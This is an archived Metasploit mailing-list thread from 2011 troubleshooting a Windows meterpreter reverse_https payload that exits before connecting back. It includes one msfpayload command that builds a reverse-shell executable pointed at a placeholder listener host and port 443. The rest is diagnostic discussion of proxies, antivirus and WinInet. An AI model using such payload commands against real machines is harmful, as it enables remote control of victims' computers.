|Main Archive Page > Month Archives > metasploit-framework archives|
Yeah, reverse_tcp works great.
I have pasted the logs here:
Additionally, I 've created the payload with the following command:
msfpayload windows/meterpreter/reverse_https LHOST=x.x.x.x LPORT=443 X >
and started a multihandler listening at 0.0.0.0:443.
On Thu, Mar 3, 2011 at 6:03 PM, Rob Fuller <email@example.com> wrote:
> Does a different payload work? reverse_tcp for example. And reverse_https
> doesn't use ActiveX so you shouldn't be seeing a iexplorer.exe running
> unless of course if that's what you named your payload. It could be a
> problem on your listener end.
> Can you pastebin your process from start to finish? What exploit are you
> running? Is it just a built binary?
> Rob Fuller | Mubix
> Certified Checkbox Unchecker
> Room362.com | Hak5.org
> On Thu, Mar 3, 2011 at 4:00 AM, JOhn Mistikopoulos <
> firstname.lastname@example.org> wrote:
>> I have tried numerous scenarios such as:
>> 1. Middle proxy servers (more than 3 different web proxy software)
>> 2. A single proxy server
>> 3. No proxy server
>> 4. Over the internet and locally (get the same error)
>> 5. Tested with different service packs (WinXP SP1, SP3, Win7)
>> 6. Tested with IE6, unpatched.
>> 7. Tested with different user accounts and group policies.
>> 8. Tested in Symantec and McAfee Endpoint protection (none marked it as a
>> 9. Tested without any AV protection or Firewall-IPS.
>> When I run the payload (for example the "exe" file in an unprotected PC -
>> no AV, no IPS) I got the its name on the task manager just for a while and
>> then dies.
>> HoweverI don't see any instance of iexplorer.exe running.
>> On Wed, Mar 2, 2011 at 5:35 PM, HD Moore <email@example.com> wrote:
>>> On 2/28/2011 6:13 AM, JOhn Mistikopoulos wrote:
>>> > And then, the listener stops giving any other info.
>>> > I went to the victim PC and realized that the payload exe had already
>>> > I couldn't see it on the task manager.
>>> > Concurrently, I had been running wireshark.
>>> > The two last packets were:
>>> > 1. Victim => Listener (RST, ACK)
>>> > 2. Listener => Victim (FIN, ACK)
>>> > Finally I don't get any connections.
>>> > Does anyone know how to fix this?
>>> Is there any network proxy/filter between the target and yourself? Is
>>> the target running an endpoint protection product or HIPS? Is the target
>>> process a user-process (IE) or a system process (assuming IE/user-land)?
>>> The reverse_https payload is finicky based on the WinInet profile of the
>>> user running the code.